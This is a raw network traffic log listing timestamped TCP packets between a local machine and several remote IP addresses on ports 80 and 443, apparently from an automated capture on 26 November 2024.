Nov 26, 2024 10:09:35.920114994 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.920808077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.920865059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.065417051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.065498114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.065515041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.065562963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.065685034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.065710068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.065773010 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.066468000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.066550016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.066570997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.066596031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.067272902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.067337990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.067378044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.067421913 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.068130016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.068181038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.068283081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.068332911 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.069124937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.069171906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.069303036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.069485903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.069935083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.069981098 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.069998026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.070020914 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.070830107 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.070909023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.070918083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.070969105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.071558952 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.071644068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.071712017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.072302103 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.072350025 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.072406054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.072568893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.073148012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.073199034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.073260069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.073343992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.073983908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.074026108 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.074090004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.074153900 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.074851036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.074987888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.075043917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.075709105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.075752974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.075782061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.075829029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.076508045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.076562881 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.076598883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.076878071 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.077332020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.077390909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.077430010 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.077558041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.078155994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.078232050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.078273058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.078310966 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.079019070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.079071999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.079109907 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.079161882 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.079894066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.079969883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.080058098 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.080101013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.080955029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.081003904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.081059933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.081099033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.081682920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.081741095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.081747055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.081783056 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.082400084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.082463026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.082494974 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.082588911 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.083199978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.083246946 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.083331108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.083436012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.084028959 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.084085941 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.084136009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.084208965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.084882975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.084933996 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.084968090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.085016012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.085725069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.085773945 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.085853100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.085896015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.086574078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.086631060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.086692095 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.086730957 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.087569952 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.087620974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.087711096 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.087749958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.088227987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.088284016 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.088315010 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.088366985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.089235067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.089296103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.089329004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.089387894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.089910030 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.089962959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.090002060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.090224981 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.090754032 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.090831041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.090853930 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.090905905 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.091598034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.091742992 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.091784954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.092550993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.092602015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.092634916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.092679024 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.093339920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.093390942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.093456030 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.093514919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.094309092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.094361067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.094409943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.095191002 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.095241070 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.095328093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.095376968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.095952988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.095964909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.096009970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.096615076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.096676111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.096723080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.096770048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.097476006 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.097563982 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.097603083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.097686052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.098293066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.098341942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.098376989 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.098426104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.099333048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.099386930 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.099469900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.099518061 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.100375891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.100430012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.100440979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.100508928 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.101257086 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.101399899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.101465940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.101896048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.101954937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.101989031 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.102124929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.102570057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.102622986 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.102650881 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.102689981 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.103328943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.103375912 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.103430033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.103467941 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.104156971 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.104211092 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.104280949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.104320049 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.104983091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.105030060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.105113983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.105160952 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.105956078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.106014013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.106244087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.106327057 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.107009888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.107076883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.107096910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.107156038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.107620001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.107698917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.107729912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.107947111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.108390093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.108448982 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.108506918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.108553886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.109297037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.109353065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.114027977 CET	443	49860	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.114048004 CET	443	49859	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.114278078 CET	49860	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.114304066 CET	443	49860	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.114393950 CET	49859	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.114422083 CET	443	49859	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.115443945 CET	443	49860	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.115509033 CET	49860	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.115567923 CET	443	49859	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.115626097 CET	49859	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.116728067 CET	49860	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.116801977 CET	443	49860	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.117377043 CET	49859	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.117461920 CET	443	49859	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.141063929 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.141139984 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.141233921 CET	49857	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.151184082 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.151385069 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.151448965 CET	49855	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.160204887 CET	49857	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.160237074 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.160239935 CET	49860	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.160252094 CET	49857	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.160259008 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.160268068 CET	49859	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.160271883 CET	443	49860	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.160293102 CET	443	49859	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:36.166774035 CET	49855	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.166793108 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.166814089 CET	49855	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.166821003 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.172746897 CET	49867	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.172769070 CET	49868	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.172801018 CET	443	49867	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.172807932 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.172868013 CET	49867	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.172914028 CET	49868	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.179934978 CET	49867	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.179991007 CET	443	49867	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.180500984 CET	49868	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.180533886 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.207197905 CET	49860	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.207283020 CET	49859	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:36.258543015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.258635044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.258632898 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.258699894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.258825064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.258867025 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.258949041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.259097099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.259524107 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.259577990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.259927034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.259980917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.260087967 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.260143042 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.260802984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.260869980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.261043072 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.261096001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.261826038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.261878967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.261904001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.261945963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.262589931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.262645006 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.262645006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.262696981 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.263294935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.263359070 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.263394117 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.263436079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.264311075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.264385939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.264391899 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.264441013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.265055895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.265103102 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.265124083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.265166044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.266170979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.266233921 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.266272068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.266287088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.267024040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.267088890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.267123938 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.267164946 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.267689943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.267746925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.267772913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.267817974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.268255949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.268276930 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.268311024 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.268353939 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.268970966 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.269057035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.269082069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.269117117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.269839048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.269887924 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.269907951 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.269959927 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.270915985 CET	443	49856	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.270961046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.270991087 CET	443	49856	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.271051884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.271051884 CET	49856	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.271106958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.271152973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.271401882 CET	49856	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.271408081 CET	443	49856	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.271420002 CET	49856	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.271424055 CET	443	49856	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.272017002 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.272068977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.272102118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.272141933 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.272759914 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.272824049 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.272861004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.272964001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.273381948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.273421049 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.273442030 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.273478031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.274123907 CET	80	49766	185.215.113.206	192.168.2.5
